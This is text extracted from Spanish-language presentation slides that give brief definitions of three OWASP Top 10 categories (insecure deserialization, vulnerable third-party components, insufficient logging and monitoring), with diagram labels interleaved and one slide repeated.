A8 - Insecure Deserialization 110011010
001010101
Red
Flujo de
Vulnerabilidad que ocurre cuando bytes Base de
datos
se deserializan objetos utilizando
información no confiable, que
resulta en ataques de ejecución de Objeto
010010110
código remoto, inyección, 110011010
escalación de privilegios, etc. 001010101
Flujo de
bytes

Objeto
OWASP – Top 10 Archivos
010010110
A8 - Insecure Deserialization 110011010
001010101
Red
Flujo de
Vulnerabilidad que ocurre cuando bytes Base de
datos
se deserializan objetos utilizando
información no confiable, que
resulta en ataques de ejecución de Objeto
010010110
código remoto, inyección, 110011010
escalación de privilegios, etc. 001010101
Flujo de
bytes

Objeto
OWASP – Top 10
A9 - Using Components with
Known Vulnerabilities
Vulnerabilidad que se debe al uso
Librerías
de librerias, frameworks y
módulos de software de terceros
que se ejecutan con los mismos
privilegios que la aplicación y que
tienen fallas conocidas. Código de
terceros

APIs
OWASP – Top 10
A10 - Insufficient Logging &
Monitoring
Vulnerabilidad que existe por la Modificación o
falta o poco uso de mecanismos eliminación de
de registro o monitoreo, información.
combinado con la ineficiente Ataques
integración de actividades de laterales
respuesta a incidentes. Persistencia
¡Muchas gracias por su
atención!

También podría gustarte